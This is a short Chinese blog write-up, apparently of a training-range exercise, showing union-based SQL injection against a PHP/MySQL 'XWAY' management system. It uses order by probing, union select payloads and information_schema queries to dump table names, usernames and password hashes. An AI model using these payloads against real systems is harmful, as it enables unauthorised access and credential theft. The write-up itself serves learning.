简单的SQL注册 Mysql

 本次进行测试的目标是:XWAY科技管理系统V3.0

                                        XWAY科技管理系统V3.0icon-default.png?t=M666http://124.70.22.208:40182/new_list.php?id=1

对目标信息进行搜集:

    使用order by 测试出有4列

      使用 使页面报错弹出问题XWAY科技管理系统V3.0icon-default.png?t=M666http://124.70.22.208:40182/new_list.php?id=-1%20union%20select%201,2,3,4

 

 在爆出的错误位子,进行替代查询 

 

 

                                数据类型: mysql

                                数据库版本:version()  5.7.22-0ubuntu0.16.04.1

                                数据库名称:database()  mozhe_Discuz_StormGroup

                                操作系统:@@version_compile_os  Linux

                                 数据库用户:user() root@localhost

根据上收集的信息,我们进行下一步的测试 获取数据库和表名

union select 1,group_concat(table_name) ,3,4%20 from information_schema.tables where table_schema ="mozhe_Discuz_StormGroup"

获取到单个数据库 ,如果有多个则可在 字段名前加入 group_concat

得到二个数据名   StormGroup_member,notice

查询数据库下的列union select 1,group_concat(column_name) ,3,4%20 from information_schema.columns where table_name ="StormGroup_member"

 得到这些列明后,我们进行数据库的查

 对第一个表查询得到 mozhe    356f589a7df439f6f744ff19bb8092c0  进行解码提交key 发现不对,说明还有其他账户密码

对第二表查询得到 union select * from StormGroup_member limit 1,1

 得到:mozhe3cbc1d19814dcbc9ddf4a7ab3dc

 成功注入

总结 :

首先:

        判断注入:列名数量 使用order by x  判断出零界点

然后查询到当下数据库得名称

对数据库进行列查询

得到数据

高版本的数据库(5以上)一般默认有 information_schema.tables (记录数据库名称)、information_schema.columns

table_name (数据库名)        column_name(表名)

语句:

                操作系统 :@@version_compile_os

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值